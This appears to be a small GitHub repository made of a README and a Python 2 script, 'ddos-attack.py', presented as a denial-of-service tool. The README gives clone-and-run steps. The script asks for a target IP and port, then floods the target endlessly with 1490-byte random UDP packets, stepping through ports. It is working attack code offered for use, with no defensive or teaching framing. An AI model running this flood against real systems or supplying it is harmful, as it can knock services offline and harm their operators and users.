├── README.md └── ddos-attack.py /README.md: -------------------------------------------------------------------------------- 1 | # DDos-Attack 2 | ### What Is A DDos-Attack 3 | 4 | ### A Distributed Denial of Service (DDoS) attack is an attempt to make an online service unavailable 5 | by overwhelming it with traffic from multiple sources. They target a wide variety of important resources 6 | from banks to news websites, and present a major challenge to making sure people can publish and access important information 7 | 8 | ### Dwonload&Install 9 | 10 | ### git clone https://github.com/Ha3MrX/DDos-Attack 11 | 12 | ### cd DDos-Attack 13 | 14 | ### chmod +x ddos-attack.py 15 | 16 | ### python ddos-attack.py 17 | 18 | ### ScreenShot 19 | 20 | ### YouTube channel 21 | 22 | https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA 23 | 24 | ### Video Tutorial 25 | 26 | https://www.youtube.com/watch?v=-e3Iia_P7rA 27 | 28 | -------------------------------------------------------------------------------- /ddos-attack.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import time 4 | import socket 5 | import random 6 | #Code Time 7 | from datetime import datetime 8 | now = datetime.now() 9 | hour = now.hour 10 | minute = now.minute 11 | day = now.day 12 | month = now.month 13 | year = now.year 14 | 15 | ############## 16 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 17 | bytes = random._urandom(1490) 18 | ############# 19 | 20 | os.system("clear") 21 | os.system("figlet DDos Attack") 22 | print "Author : HA-MRX" 23 | print "github : https://github.com/Ha3MrX" 24 | print 25 | ip = raw_input("IP Target : ") 26 | port = input("Port : ") 27 | 28 | os.system("clear") 29 | os.system("figlet Attack Starting") 30 | print "[ ] 0% " 31 | time.sleep(5) 32 | print "[===== ] 25%" 33 | time.sleep(5) 34 | print "[========== ] 50%" 35 | time.sleep(5) 36 | print "[=============== ] 75%" 37 | time.sleep(5) 38 | print "[====================] 100%" 39 | time.sleep(3) 40 | sent = 0 41 | while True: 42 | sock.sendto(bytes, (ip,port)) 43 | sent = sent + 1 44 | port = port + 1 45 | print "Sent %s packet to %s throught port:%s"%(sent,ip,port) 46 | if port == 65534: 47 | port = 1 48 | 49 | --------------------------------------------------------------------------------